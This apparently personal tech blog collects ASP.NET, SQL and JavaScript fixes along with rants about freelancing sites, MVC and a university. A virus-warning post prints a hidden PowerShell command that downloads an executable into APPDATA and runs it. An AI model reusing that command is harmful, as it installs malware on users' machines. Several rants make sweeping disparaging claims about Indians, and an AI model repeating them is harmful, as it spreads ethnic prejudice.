Cannot load input assembly – FIX

If you get the following error then you are about to have it fixed.
Is this a delayed-signed assembly? An attempt was made to load an assembly from a network location which would have caused the assembly to be sandboxed in previous versions of the .NET Framework. This release of the .NET Framework does not enable CAS policy by default, so this load may be dangerous. If this load is not intended to sandbox the assembly, please enable the loadFromRemoteSources switch.


Go to the bin folder and locate the blocked DLL(s) and then just click the Unblock button as shown on the figure. Voila, you are all set now.

In addition you can add the next code into web.config to grant full trust for applications from remote sources:

      <loadFromRemoteSources enabled="true"/>

The current type, is an interface and cannot be constructed – FIX

If your MVC app throws this exception and asks you “Are you missing a type mapping?” most probably you haven’t registered the certain type.

Usually people who use Unity bootstrapper for ASP.NET MVC face this error.

Solution: register the type and the error will go away immediately. e.g.

container.RegisterType<IBlahModelService, BlahModel>();
container.RegisterType<IBlahService, BlahService>();

Moving to a better freelancing platform?

Hello guys,


I just wanted to share with you that I am considering to leave and possibly become a Toptaller.

As you know I am a freelancer since the days of GAC ( and when was GAF ( which means I am working as a freelancer for more than 10 years.

I remember the days when being freelancer was the coolest thing in the world. I was earning a lot still without leaving my home.

However things changed drastically in the last few years. The newbies expelled the good employers so now I am wasting my time there. I work a lot and I am paid too low for that, having in mind that I am a senior programmer with 16+ years of experience.
Continue reading

Full Name – get rid of the empty space if middle name is null

I see people bother with checking against NULL, using Coalesce, Substring etc. etc.
The solution is pretty simple actually. You just need to replace the two empty space by one if the middle name is null or empty e.g.

FullName = (reader["FirstName"].ToString() + " " + reader["MiddleName"].ToString() + " " + reader["LastName"].ToString()).Replace("  ", " ");


REPLACE(FirstName + ' ' + MiddleName + ' ' + LastName + ' ' + Suffix, '  ', ' ') AS FullName


The SqlMembershipProvider requires a database schema compatible with schema version 1

If you get this error it means that the default values are missing from your database.
To resolve/fix the issue, just execute the following SQL code against your database:

   ('common', 1, 1),
   ('health monitoring', 1, 1),
   ('membership', 1, 1),
   ('personalization', 1, 1),
   ('profile', 1, 1),
   ('role manager', 1, 1);

System.InvalidOperationException – Eval(), XPath(), or Bind()

If you get the following error you are about to get the solution either :)

Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control

Usually it happens when you directly call say an Eval() function in the code-behind.
For example, you may have a GridView control with a label inside of the Template column:

<asp:Label ID="lblDescription" runat="server" Text='<%# Eval("Description") %>' />

Then for some reason you decide to move that to the code-behind AS IS so you say:

Dim lblDescription As Label = CType(e.Item.FindControl("lblDescription"), Label)
lblDescription.Text = Eval("Description").ToString()

Your project will compile but as soon as you try to open the certain Page, an exception ‘System.InvalidOperationException’ will be thrown.

Just replace Eval() with DataBinder.Eval() making your code to looks like this:

Dim lblDescription As Label = CType(e.Item.FindControl("lblDescription"), Label)
lblDescription.Text = DataBinder.Eval(dataItem.DataItem, "Description").ToString()

Voila! Your problem has been solved.

Having a “No image available” if your image URL errors out – RadGrid

no image It often happens that you’ve got no image for all the items in your store.

It could be caused by different reasons like your server where you host the images is temporary down, the third party cannot serve the image at the moment or you just have no appropriate image at the moment. Anyway this is how you should keep your store consistent without those broken image icons that internet browsers add in there.

Usually i do that from code-behind like the following:
Continue reading

Add graphics and/or html tag to the standard ASP.NET button

Meaning, you can’t add glyph/icon/etc. to the default ASP.NET button !

<asp:Button id="mybutton" runat="server"><img src="..." /></asp:Button>

However you could use a HTML5 button with runat=”server” attribute :)

<button id="mybutton" runat="server"><img src="..." /></button>

Then you call the onserverclick event so your button looks like the following:

<button id="mybutton" runat="server" onserverclick="mybutton_ServerClick">
    <img src="..." />

Say that you want to create a search button containing Font Awesome icon:

<button id="btnSearch" runat="server" 
        <i class="fa fa-search"></i> Search

WCF Service – Custom WSDL Metadata

If you need to edit the default WSDL but don’t want to mess with the ServiceModel Metadata Utility Tool (Svcutil.exe) there is an easy workaround.

1. Add new XML file to the project ad change the extension to .wsdl
2. Modify this file accordingly and then upload somewhere to be hosted.
3. Get the wsdl URL e.g.
4. Modify the behaviors section in your wcf web.config like the following:

        <behavior name="ServiceWithMetadata">
          <serviceMetadata httpGetEnabled="true" httpsGetEnabled="true" 
             externalMetadataLocation="" />
          <serviceDebug includeExceptionDetailInFaults="true" />

That’s it. Hope this helps!

0x800a139e – Syntax error, unrecognized expression (FIX)

Usually you get this error when you run an ASP.NET (Visual Studio 2kxx) Project having focus on a file that cannot be ran.
For instance if you edit your web.config and then just hit F5 key. JQuery will try to parse the url and as you guess it’s going to thrown an exception:

// e.g. 

Fix: just open another file (view or page in design or code view) and re-run the project. Voila!

jQuery – Get value of different controls

input value (except checkbox and such)

var myvalue = $("#MyInput").val();

input of type checkbox/radio

var ischecked = $("#MyCheck").is(":checked");

dropdownlist (select)

var selectedval = $("#MyList").find(":selected").attr('value');

NOTE: if you can think of another control that you want to get a value of please leave a comment and i will reply promptly.

ASP.NET MVC AJAX request returns an Internal Server Error (FIX)

Usually you get this error if you have the data misspelled e.g. say that your ActionResult expects a param named userid while you are sending user (without id)

public ActionResult AddComment(string productid, string userid, string comment){
  // add the new comment and return Json response
            var data = {};
            data.productid = @ViewBag.ProductID;
            data.user = @ViewBag.UserID;
            data.comment = $('#CommentText').val();
                url: '/Product/AddComment',
                type: "POST",
                contentType: "application/json; charset=utf-8",
                dataType: "json",
                data: JSON.stringify(data),
                success: function (result) {
                    alert("The new comment '" + result.comment + "' has been added successfully!");
                error: function (status, ex) {
                    alert("Error Code: Status: " + status.statusText + " Ex: " + ex);

meaning it is expecting data.userid and you send data.user :(

As you guess just change the data.user to data.userid and it will work as expected.


Print doesn’t work in IE – FIX

As you can see, the window’s print() method does not work in IE (Internet Explorer) though it works just fine in all other major browsers.

Well if you want to make it prints in IE you should call the document’s close() method previously as well as the focus() e.g.

window.close(); // if you want to close the window


Turn html link(s) into plain text using JavaScript

Say that you have an “a” element that you need to replace with its anchor text:

My blog:

Actually let’s see how you can turn all links into plain text:

var links = document.getElementsByTagName("a");
for (var i = 0; i &lt; links.length; i++) {
var link = links[i];
var text = link.innerHTML;
link.outerHTML = text;

After this your link will look like the following:

My blog:

Retrieve data contained in a comma-delimited list of values – Warning!

Say that you have a comma-separated String containing user ID’s like following:

String userIDs = "1,2,5,8,23,67,101";

and that you want to fetch those users without splitting and looping their ID’s.

Usually you do use CharIndex to search the expression:

command.CommandText = 
    "SELECT * FROM Users WHERE  CharIndex(CAST(userID AS varchar(8)) + ',', + @userIDs) > 0";
command.Parameters.AddWithValue("@userIDs", userIDs);

However if you execute the above query the last ID will be omitted YEAH it will be indeed because it checks against value + comma which does not match when it comes to 101.

FIX… add the missing comma to the end of the string:

command.Parameters.AddWithValue("@userIDs", userIDs + ",");

Hope this helps someone!

Filter Membership.GetAllUsers() in ASP.NET using Linq

Say that you want to retrieve only the Admin Users avoiding Regular Users:

UsersGrid.DataSource = 
     .Where(a => Roles.GetRolesForUser(a.UserName)[0] != "Regular User").ToList();

Or say you want to retrieve only the online users:

UsersGrid.DataSource =
    .Where(a => a.IsOnline)
    .OrderBy(a => a.LastLoginDate).ToList();

Make a Comma Delimited String out of Multiple Database Records

Say that i want to get the user’s skills concatenating multiple rows into a single row/string
Usually you read all the records and then add comma in your C#.NET code.
This is an example how to add the commas in the T-SQL code:

SqlCommand skillscommand = connection.CreateCommand();
skillscommand.CommandText = @"
  DECLARE @Skills VARCHAR(512);
  SELECT @Skills = COALESCE(@Skills+',' ,'') + CAST(applicantSkillSetID AS VARCHAR(8))
  FROM ApplicantSkills WHERE applicantID = @applicantID;
  SELECT @Skills;";
skillscommand.Parameters.AddWithValue("@applicantID", applicantID);
SqlDataReader skillsreader = skillscommand.ExecuteReader();
while (skillsreader.Read())
   Skills = skillsreader.GetString(0);


Virus Llorter3.exe – DLL.exe

Today i was asked to check if the shortcut named index is possibly encrypted and i caught the above mentioned virus. Meaning i write this in order to help at least someone to not make the same mistake lol
Btw this is the command that you execute if you click the f***ing shortcut:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden
(New-Object System.Net.WebClient).DownloadFile('', $env:APPDATA + '\dll.exe');
$val = $env:APPDATA+'\dll.exe';Start-Process $val;Start-Process 'dashboard.html';

Error message 401.2. Unauthorized: Logon failed due to server configuration

Usually you get this error because you are missing the authentication section in the web.config.
Just add the section to enable configuration of the security authentication mode and your app will work work as expected. e.g.

<authentication mode="Forms">
    <forms loginUrl="~/Login.aspx" name=".ASPXFORMSAUTH" />

Get the checked items from CheckBoxList in a single line using LINQ

Instead of using foreach loop and checking the items one by one if they are checked you could use the following LINQ code to grab all checked/selected items from your CheckBoxList:

var checkedItems = String.Join(",", CheckBoxList.Items.Cast<ListItem>()
                 .Where(item => item.Selected)
                 .Select(e => e.Value).ToArray());

Hope this helps

Народот си е паметен?

Дали сеуште мислиш дека народот си е паметен?
– ако сеуште размислуваш така, тогаш заслушуваш да ти стане тој “граѓанинот” и да ти врзе едно 5-6 јаки шамари пред камери.

Заклучок: тоа што некој (Миленко, Јанко, Мирка, Латас итн.) цело време ти кажува (те убедува) дека си многу мудар и паметен се вика индоктринација, а се употребува исклучиво за политички цели за да се наметне и всади определено сваќање, верување, идеја и начин на однесување.

Мирен сон!

CSS3 and jQuery single page transitions – remove control permanently

Using the latest CSS transitions and target property you can create an awesome transition effects.
However it could be little tricky sometimes especially if you have an intro page where you expect the visitors to click the Enter button.
Click here to see an example

In this situation you want to hide the green button so that button is not visible when the transitions happen.
With jQuery you can easily hide the button and animation using remove() method.


But what if your visitor hits the refresh button? Exactly. It will postback your page causing the html to get served again. Meaning your button will be visible again.

Well you could use cookies and stuff to avoid that but let’s see if there is an easier solution. What if you simply check the hash tag against empty string ”

if (window.location.hash != '') {

Voila! Just put that within jQuery’s ready and you have the issue fixed successfully!

$(document).ready(function (e) {
    if (window.location.hash != '') {

HAXM cannot be installed (RESOLVED)

If you get the following error when you install Intel HAXM, please follow the steps bellow to resolve the issue:

This computer does not support Intel Virtualization Technology (VT-x). HAXM cannot be installed. Please refer to the Intel HAXM documentation for more information.

First open your Control Panel and click the item “Programs and Features“.
Then click on Turn Windows Features on or off. When the “Windows Features” dialog opens, just uncheck Hyper-V and restart your system. Voila!

Obviously you have Windows 8/8.1 with Hyper-v installed and as you guess you cannot do Windows Phone development alongside Android development on the same machine since you need Hyper-V for the Android emulators as well :(

LINQ to XML Descendants operator

<?xml version="1.0" encoding="utf-8"?>

Say we need to retrieve a list of all serials in this XML file. Usually we do it like following using the Elements operator:

IEnumerable<XElement> serials = 

Unlike the Elements operator which returns only the immediate child elements of each element in the source sequence of elements, the Descendants operator recursively returns all child elements until the end of each tree is reached. Thus we can simplify the above code to the following:

IEnumerable<XElement> serials = doc.Descendants("serial");

As you see it can be called on a sequence of elements or documents and returns a sequence of elements containing each source element’s or document’s descendant elements.

Always show up the errors (if any)

Error Message

Error Message

A few days ago i was hired by a client. I needed to debug a point of sale application (WinForms by the way) written in Visual Basic .NET
Beside the missing documentation and poor OOP implementation (what else you can expect from the Indians) i noticed something totally weird.

Namely instead of displaying the error message if an exception is thrown, the code just stores it into the database pretending that nothing happened.

catch(Exception ex){
    // the user is as you see NOT aware of the exception 
    // so he/she continues to work...

Doesn’t take long to figure what could happen…

NOTE: you can use all those advanced errors handling techniques but you should never ever forget to warn the user if something is not working properly!!!

Renaming SQL Server database – Error: 5030 (Solution)

I am sure you wonder why for God’s sake you cannot rename that database but rather you get an error:
The database could not be exclusively locked to perform the operation. (Microsoft SQL Server, Error: 5030)

Well usually you get this error because someone else is using the database having active connection(s) to it.

To resolve the issue you should set the database to Single user mode and then rename it. After that you set it back to Multi user mode. Voila!

USE [master];
EXEC sp_renamedb N'Your_Database_Name', N'Your_Database_Name_Renamed';

RadAjaxManagerProxy Alert method!

So you don’t have any idea where to find the “alert” method of the RadAjaxManagerProxy, right? Guess what, neither did i. I was clueless, literally.
I tried everything that i could think of. In addition the intellisense was not helpful at all.
But good news. It’s certainly easier than you probably thought.
Simply the AjaxManager Proxy is not planned to work that way.
Rather you need to cast your AjaxManager from the Master page and then call its alert method. Voila!

RadAjaxManager mgr = 
(RadAjaxManager)this.Master.FindControl("RadAjaxManager1") as RadAjaxManager;
// show up the alert msg
mgr.Alert("Your message here!");

MVC is nothing but an ASP.NET downgrade



I will be short here. For God’s sake you guys have simply turned ASP.NET into bloody PHP or Ruby on f***ing what!? Damn, you wasted the best ASP.NET feature ever … EVENTS
I am sure you (MVC team assholes) are proud of your “outstanding” achievement. Well at least you can easily port all the PHP developers into ASP.NET world. Right?

Google Chrome didn’t shut down correctly – Issue and Fix

In my case it turned out to be a Google Hangouts related issue.
Namely, if i quit the Hangouts first and then close the Chrome browser i don’t get this error when i start my PC next time.

However if i close Chrome without quitting Hangouts i get that error which is “Google Chrome didn’t shut down correctly”.

Solution: quit hangouts prior closing your Chrome browser and you will not get this odd error message.

Yahoo Mail – Temporary error 14

Yahoo Error 14

Yahoo Error 14

If you get this error, first check if you are connected to the VPN (virtual private network)

As soon as i disconnected VPN and connected to my Wi-Fi it worked just fine! Try this fix as it turned out that this was the issue in my case.

NOTE: I am not saying that this is the fix necessary but it’s worth a try!

Does BitCoin have a bright future?

bitcoin currency

bitcoin currency

No doubt that Bitcoin is a revolutionary invention because it allows you to be a bank for yourself.

Meaning NO banks or government affiliation and therefore no commissions, no foreign transaction fees and no fraud risk. In addition, no stolen card, no identity theft violation etc. etc.

But, even though Bitcoin is probably the best form of money I’ve ever seen I am afraid that governments will never accept it as a payment method because of the banks that control them.

So , they will keep using the Bitcoin’s affordances, e.g. money-laundering to justify their hostility, but in fact it’s because they don’t want a currency which can’t be used for political order.

My $0.02

Formalism (Формализам)


When I look back on the years (12+) I spent on programming I cannot but think that i was totally right when i decided not to follow the “expert’s advice” and use all those tools for massive class hierarchy. Rather I stayed away relying on my intuition. Today I am very proud of myself because of that.

By the way, I am not saying that those tools are generally bad, but they were all propagated by people who were poor programmers looking for an excuse to avoid writing code.

They are the same “experts” who spent years on introducing formalism in form of UML, Extreme Programming, Patterns and other pseudo-engineering tools.



После 12 години активно програмирање можам да заклучам дека сум презадоволен од фактот што си ја послушав мојата интуиција, наместо да ги пратам тогашните сугестии од еден куп т.н. стручњаци, кои заговараа најразлични пристапи и масивни програмерски хиерархии.

Да нема забуни, се сложувам дека сите тие методи имаат и свои добри особини, но сепак проблемот е што сите тие беа (за жал) иновирани од лоши програмери кои бараа изговор за да го избегнат програмирањето (пишување код).

Тое се истити оние кои залудно потрошија години и години пропагирајки формализам во форма на UML, Extreme Programming, Patterns и други псеудо програмирачки алатки.

Толку за тоа.

T-SQL Get a List of columns of certain Data Type

Not sure if this could help someone but today i needed to grab all the real datatype columns and put into an array.
It would not be a problem if my table does not have more than 800 columns. Anyway this is what i did:

	'"' + COLUMN_NAME + '",'
	DATA_TYPE = 'real'
	TABLE_NAME = 'MyTable'

Then you just copy/paste the result within your array e.g.

private string[] = new string[]{ // results copied here };

How to get the ASP.NET page name from the URL

I could come with say few more ways but today i will post only the most frequently used methods


' method #1
Private Function PageName() As String
    Return Path.GetFileName(Page.Request.Url.AbsolutePath).ToLower
End Function
' method #2
Private Function PageName() As String
     Return New FileInfo(Request.Url.AbsolutePath).Name.ToLower
End Function
' method #3
Private Function PageName() As String
        Dim abspath As String = Request.Url.AbsolutePath
        Return abspath.Substring(abspath.LastIndexOf("/") + 1, _
               abspath.Length - (abspath.LastIndexOf("/") + 1)).ToLower
End Function


// method #1
private string PageName()
	return Path.GetFileName(Page.Request.Url.AbsolutePath).ToLower();
// method #2
private string PageName()
	return new FileInfo(Request.Url.AbsolutePath).Name.ToLower();
// method #3
private string PageName()
	string abspath = Request.Url.AbsolutePath;
	return abspath.Substring(abspath.LastIndexOf("/") + 1, 
               abspath.Length - (abspath.LastIndexOf("/") + 1)).ToLower();

How to install SqlMembershipProvider Schema in your SQL Server instance

This is for the people who are used to install Membership, Roles etc. including all those tables, views, and stored procedures in the database from within the Visual Studio (earlier versions).

As it’s not supported anymore in the newer versions of your favorite IDE you need to do it in a different way.

Well you need to use a tool called aspnet_regsql.exe and can be found at %WINDIR%\Microsoft.Net\Framework\{YourNetVersion}


Just double-click the executable and then when the dialog appears follow the instructions … it’s a self-explanatory. Cheers

Freelancer crisis? An Open Letter to the Directors ( Review)


I can freely say that after you ruined the whole freelancer business (acquiring and merging the competition – scriplance, vworker etc. etc.) now we can do nothing but pray. In the meantime we can fight among ourselves.

We fight with the few bucks buyers. Then they complain, just because you allowed them to.
Then you fight back with us sending various warnings and threatening messages in a “your account will be suspended” manner.
I see your path guys, but i don’t know where it leads. Nowhere i guess …

A few days ago i noticed that actually you favor some freelancers over others. Yes you do. I have it recorded so you can see for yourself.



As you see you favor a guy whose Completion Rate is only 79% and is much lower than mine … plus i have 6.2 earnings while he has only 4.4

It just makes no sense to me … do you maybe have a reasonable explanation for this, except the one that it is system-generated and that is based on a user’s overall reputation?

Oh another thing that bothers me the most is your fee policy to charge a fee prior to getting paid. This is crazy as it happens that i win a $2000 project and if the employer does not pay me i end up stuck with a debt of $200. Yeah, nobody else does that anywhere.

In addition, in your struggle to surpass your competition (oDesk, ELance, Guru, Fivver, 99designs etc. ) you introduced tons of new but useless features and services that nobody needs (well not really).

Meaning, now you have a feature-rich website but you’ve got no quality projects which is a primary goal of your business. Isn’t it?

I beg you guys (freelancer CEO’s) to ask yourselves where you lead us and where you lead the whole business after all.
Do you guys have a clear picture of what your vision and values are?

I recall the time when was (GAF); the site was very basic (none of the current features).
However in that period i was using your website to win a project while now i am using it to argue with those 10 bucks idiots, who waste my time every day.
Well, there are some exceptions from time to time but it’s sporadic.

Please do something to save this business as there are thousands hardworking and dedicated individuals whose profession is

Thank you

By the way do you think it’s time to do something with the Indians? I guarantee that there is no employer who has not been burned by the Indians. I believe that 95% of the Indians are scam, plaguing StackOverflow and such with questions BEGGING someone to does the work that they won on !!!

Important: The following is what happened to me just a few days ago. Well let me get this str8. stole some money from me, literally. As you see if you get a $1000 project they get $100 for them (upfront as mentioned above in the text). However if you win a £666 project they will charge you $116.25 saying that it’s 10% while your £666.00 will be converted to only $1,049. Meaning either commission should be also $104.9 or when converted £666 should be $1,162.50 as fee should be 10% anyway.

21 Aug 2014 16:18 Credit from currency conversion from £665.93 (GBP) on rate: 1.575344 (USD) 1,049.07  1,833.01
21 Aug 2014 16:12 Debit from currency conversion into (GBP) from (USD) -116.25  783.94
21 Aug 2014 03:11 Done milestone payment from madduxsports for project Next Project for YUGOLANCER (USD) 1,000.00  900.19
20 Aug 2014 15:57 Project fee taken (Next Project for YUGOLANCER) (USD) -100.00  -99.81

FIX – Error CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.TextBox

It’s little weird but actually it’s very simple to reproduce the issue. Just set the ID property to “Title” and voila! You’ll get this specific error e.g. if you have a TextBox
< asp:TextBox ID="Title" runat="server" /> you will get the following error:

CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.TextBox

if it’s DropDownList it would be

CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.DropDownList


Meaning just change the ID to something else e.g. TitleBox and it will work fine.

Error: not all code paths return a value C# Fix

Usually you get this error if you’re missing a return statement, but not always!!
Sometimes you may have everything in place but keep getting the same error in your code. e.g.

public static string xmlpath
string result = string.Empty;
if (HttpContext.Current.Request.Url.PathAndQuery.ToLower().Contains("blah"))
result = "blah.xml";
result = "blah-blah.xml";
return result;

FIX: simply rebuild your project | right-click the project in the Solution Explorer and select Rebuild.

Visual Studio 2013 MySQL doesn’t appear as a data source – FIX

If you can’t see the MySQL in your Visual Studio or you get various errors when you try to e.g.  add a new DataTableAdapter for MySQL database etc. you should do the following:

1. Uninstall everything related to MySql (except the mysql server if any) meaning, connectors and such.

2. Download the latest  .NET connector and MySql For Visual Studio
MySQL for Visual Studio:

3. Restart your Visual Studio.


MySQL - Data Source

Twice Born “Venuto al mondo” (2012)

Twice Born 2012
I just wanted to recommend you this brilliant movie :)

I watched it last night and i can say it blew me away.

I would not review the movie in details but if you are looking to watch a good movie then this is certainly one that you should not miss. Very good story and very good acting.

I particularly liked when the very next scene clarifies something that seemed totally different. Definitely my favorite movie for this year.


I’ve built a new PC last night

It’s been for a while since i built my last PC. In the past i was building PC’s for my kids, friends and neighbors but there is more than 5 years since i haven’t messed with these things.

Well, yesterday i build a new workstation for myself and ladies and gentlemen, i can say that i built a beast of computer.

For the truth’s sake, i cannot stop wondering how powerful the new hardware became in the last few years. In the meantime i was mainly using my old ASUS laptop. Core 2 Duo btw lol.

Wow guys, the new i7 chip-set is a monster. The SSD thing is fast as hell. The fans are super, super quiet (more quieter than my laptop yeah they are) … everything is like a dream to me.

This is the list of components i used (they all work in a perfect harmony by the way):

1. Intel i7-4770 3.40GHz
2. Cooler Master Hyper 212 Evo
4. HDD 1TB WesternDigital 7200rpm
5. SSD 120GB Samsung 840 EVO
7. Kingstone 16GB (2 x 8) DDR3 2133MHz HyperX XMP Beast
8. Gigabyte Sumo Alpha case
9. CoolerMaster Silent Pro M II 520W 80plus bronze
10. SAMSUNG Internal DVD-RW H/H

I also bought a headset CAVIMANUS HS-G700V and guess what, it’s also amazing – highly recommended!!!

The only Con is the price. Not sure if you knew but building a PC in this way is way more expensive than a Laptop with the same hardware (plus laptop comes with monitor and everything).

Believe it or not i paid about $2k for these components. For the same price i could have bought the latest ASUS G750JX with i7 Haswell, GTX780 and SSD 250GB.

However laptop does not suit my needs and my desk space lol

FIX: Loading panel not showing for AjaxUpdatedControl

There are certain situations when the loading panel (RadAjaxLoadingPanel) is not showing up while your control is still Ajaxified (no page refresh) so everything seems to work except that loading panel effect is kind of invisible.

To fix this you should put the updated control inside e.g. Panel control e.g.

<asp:Panel id="AjaxPanel" runat="server">
   <telerik:RadGrid ....

then change the AjaxSettings like the following:

<telerik:AjaxSetting AjaxControlID="RadGrid1">
        <telerik:AjaxUpdatedControl ControlID="AjaxPanel" LoadingPanelID="DoctorsLoadingPanel" />

also remember that you should never Ajaxify the whole e.g. ContentPlaceHolder in the master page !!!


Why you should never use the ‘Font Awesome’ for creating glyph’s and stuff!?

The font called FontAwesome is actually a very good font … good looking and everything but for some reasons it does not work in a Firefox browser.
I tried everything including paths fixing (an absolute path), adding www. upfront etc. etc but none of them worked for me. However it works fine in IE and Chrome :(
So either use another font or simply use some graphics instead. Cheers

Is Windows 8.1 a new OS?

Windows 8.1

Windows 8.1


I can now confidently say that Windows 8.1 is a big improvement (stable, quick and easy to use) over Windows 8.0 but, I can also say that the new version is nothing but a service pack that we used to get with the earlier versions of this OS.

Meaning, although Microsoft wants to present it as a brand new operating system they actually only wants to avoid the term service pack.

Conclusion: think of Windows 8.1 as of Windows 8.0 SP1 😉

After all the math says that the difference between 8.0 and 8.1 is 0.1 lol

The University American College Skopje (UACS) – A Short Review of “SCHOOL OF COMPUTER SCIENCE AND INFORMATION TECHNOLOGY”





Generally speaking, it’s a great School with beautiful amphitheaters, classrooms and other facilities required for a modern college.

The location is very convenient, just a few steps away from the local bus station. It is about a 5 minute drive to the downtown. The parking is descent. It’s not paved entirely but, there are plenty of parking lots (well sometimes they fill up quickly).

The Labs are equipped with high-end Computers and are enriched in all the software as well hardware.

The WiFi is usually slow if you’re not near the router or close to a computer lab, but there are many to choose from in the building, and they are all well stocked with the latest technology.

As for the supporting staff, I have nothing but praise. There is always someone helpful at the reception-desk who can answer questions and point you in the right direction.


The teaching and learning, in my opinion are not the primary goals of the school considering the amount of money you must invest. The price is around $3.000,00 (for a part time studies) per year which is certainly too high for what you get. Bad school in terms of getting a quality education. They are more focused on issuing degrees (read money) than real education. I guess that’s why Macedonian Higher Education Institutions (HEIs) ranked UACS as 10th ranked university in Macedonia. Macedonian HEIs Ranking

The teachers … hmm actually there are only two teachers for the whole school, which means 30 subjects and three years in total. In addition these two are also dean and vice-dean of the school. I find it little weird but not really so much creepy.

As for the books; well unfortunately there are no books originally written by the professor responsible for a particular subject. Instead the students learn from power-point presentations converted in PDF format so no books written by the professors which is a common practice in the better ranked universities.
Of course, you may borrow some foreign book from the library but the one that your teacher recommended you usually contains nothing that will be contained in the final exam. For instance they told me to borrow “C++ How to Program – 1303 pages” which is way beyond the knowledge i needed to pass “Fundamentals of programming”.
So just use the materials attached on the portal and shut up.



If you are still in a baby state of living, have rich parents and need to be taken care of, this school will fit your lifestyle perfectly. If you are an adult like me and expect to be treated like an adult stay far away from this university you will not get what a healthy, intelligent, and SELF-motivated individual needs. Instead you will be forced to be coddled in a paradoxical guilt driven way which is the heart of UACS.


Hope this helps someone

Two Dimensional Array with Unknown Dimension Sizes at Compile Time (C/C++)

Say you have the following problem to be solved:

Create a program in C++ which will enable the user to enter a two dimensional array. [mxn]
(m and n are numbers entered through a keyboard) The program should find the smallest and the
largest elements in the array and should calculate their difference.
At the end the program should print the results as shown in the example.

Please insert value for m: 3
Please insert value for n: 3
Insert values:

A[0][0]: 1 A[0][1]: 3 A[0][2]: 5
A[1][0]: 2 A[1][1]: 9 A[1][2]: 6
A[2][0]: 2 A[2][1]: 4 A[2][2]: 7

The smallest element in the array is: 1
The largest element in the array is: 9
The difference between them is: 8

As you guess to write a code that works you have to use pointers pointing to dynamically allocated types. Meaning, you can’t just say: int A[m][n]; obviously because C++ doesn’t support the array dimensions with sizes not known at compile time!!!

Continue reading

Game for your kids (find a letter position in the given word)

If you have a preschool kid(s) struggling with the letters i am sure you will find this game useful and helpful.
My son is 6 years old and he certainly struggles with the letters. That’s how i came with the idea to make it little easier for him.
This game helped him to visualize the position of the letter making it very obvious.
I’ve added points/coins and sounds to attract him and to keep his attention as longer as possible. Enjoy!!!

Letter position game

Download C# source code (Visual Studio 2012)

NOTE: As this is very basic programming i coded it procedural without bothering with classes and stuff.
Not sure if the documentation is useful but the code is as mention too basic so every next step would be an over-complication.

C++ Exam – Fundamentals of programming

C++ Programming

C++ Programming

The following was a part of my c++ exam. I thought i can share the solution, Hopefully it will help someone…

Create a program in C++ which should process a string and find all letters in it which are smaller than
a given control character. The sentence and the control character should be entered by the user. The
program should:
a. Process the whole sentence, find all characters smaller than the control character and
change them with the control character.
b. Print the new sentence.
c. Print the number of changes.

Continue reading

My Tablet PC Samsung Galaxy Tab3 is Dead. How to fix it eventually.

Galaxy Tab 3

Samsung Galaxy Tab3

Today when my son told me that his recently bought tablet PC (Samsung Galaxy Tab3) can’t be charged and that it does not react on the power button i thought it’s gone. Yeah it was literally dead. However after a while i started to keep the power button longer and longer until i kept it for say 20 seconds. Suddenly something came to the screen. It was the battery image. Then i plugged-in and it started to charge. Meaning, it this ever happen to any of you just press the power button and hold it pressed for 20+ seconds until that short animation appears. Voila!
Hope this helps someone

Five different ways to get the computer name in ASP.NET

Dim way1 As String = System.Environment.MachineName
Dim way2 As String = Server.MachineName
Dim way3 As String = System.Net.Dns.GetHostName
Dim way4 As String = My.Computer.Name
Dim way5 As String = System.Net.Dns.GetHostEntry(Request.ServerVariables("remote_addr")).HostName
Dim nl As String = "<br />"
Response.Write(way1 & nl & way2 & nl & way3 & nl & way4 & nl & way5)

error: 50 – Local Database Runtime error occurred.

SQL Server 2012 Express

SQL Server 2012 Express

A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: SQL Network Interfaces, error: 50 – Local Database Runtime error occurred. Cannot create an automatic instance. See the Windows Application event log for error details.

If you google the error you will find many articles claiming solution.
One of them is the following which is closest to final resolution of this problem.
Windows 7 SP1 causes IntelliTrace Collection to fail on IIS

The only thing that you should change is the IdentityType.
Meaning they suggest that you edit applicationHost.config file found in %windir%\system32\inetsrv\config\ specifically the ApplicationPools section.

<add name="ASP.NET v4.0" managedRuntimeVersion="v4.0">
   <processModel identityType="ApplicationPoolIdentity" loadUserProfile="true" setProfileEnvironment="true" />

It may work for someone but it didn’t for me. Then i had to play around with these settings. Finally when i changed the IdentityType to NetworkService i was able to use My newly created database (SQL Server 2012 express – localDB)


<add name="ASP.NET v4.0" managedRuntimeVersion="v4.0">
   <processModel identityType="NetworkService" loadUserProfile="true" setProfileEnvironment="true" />

Hope this helps someone

How to disable html tags entering in a TextBox (simple and neat solution)

To prevent the users entering open and close tags characters you may want to use the following javascript code:

var IsShiftDown = false;
function BlockingHtml(Sender, e) {
   var key = e.which ? e.which : e.keyCode;
   if (key == 16) {
     IsShiftDown = true;
   else if ((IsShiftDown == true) && ((key == 188) || (key == 190))) {
     return false;


<asp:TextBox ID="PlainText" runat="server" onkeydown="return BlockingHtml(this,event);" />

Please notice that HTML tags begin with a less-than sign: < and end with a greater-than sign: >. Always. No exceptions!
That’s why we chase the 188 and 190 chars … 188 is the < and 190 is > when the Shift key is pressed!

Hope this helps someone

SQL Server – Ambiguous column name error

If you execute the following query you will certainly get an Ambiguous column name error:

   Customers AS Cus
   Payments AS Pay
   Cus.CustomerID = Pay.CustomerID
   DATEDIFF(DAY, AddedDate, GETDATE()) < 30

Msg 209, Level 16, State 1, Line 2
Ambiguous column name ‘store_ID’.

It usually means that MSSQL does not know which column you are trying to fetch as the same column name exists in the both tables!!!

Solution for this odd Ambiguous column name error is to use an alias for the column name e.g.

   Customers AS Cus
   Payments AS Pay
   Cus.CustomerID = Pay.CustomerID
   DATEDIFF(DAY, AddedDate, GETDATE()) < 30

Hope this helps someone

A Query for MERGE with CASE in UPDATE (T-SQL)

i’ve been asked by lost of people about how to use CASE when you write a MERGE statement which is synchronizing (updating) two tables.

So here we go (a very basic example which sync the quantity field in the Products table):

DELETE everything FROM (
FROM QuantityUpdates
) everything
WHERE rownum > 1;
-- please notice that you can also use group by to prevent duplicate rows !!!
Products AS Prod
QuantityUpdates AS Qty
Prod.ItemID = Qty.ItemID
QtyInStock = Qty.QtyInStock,
UpdatedDateStamp = GETDATE(),
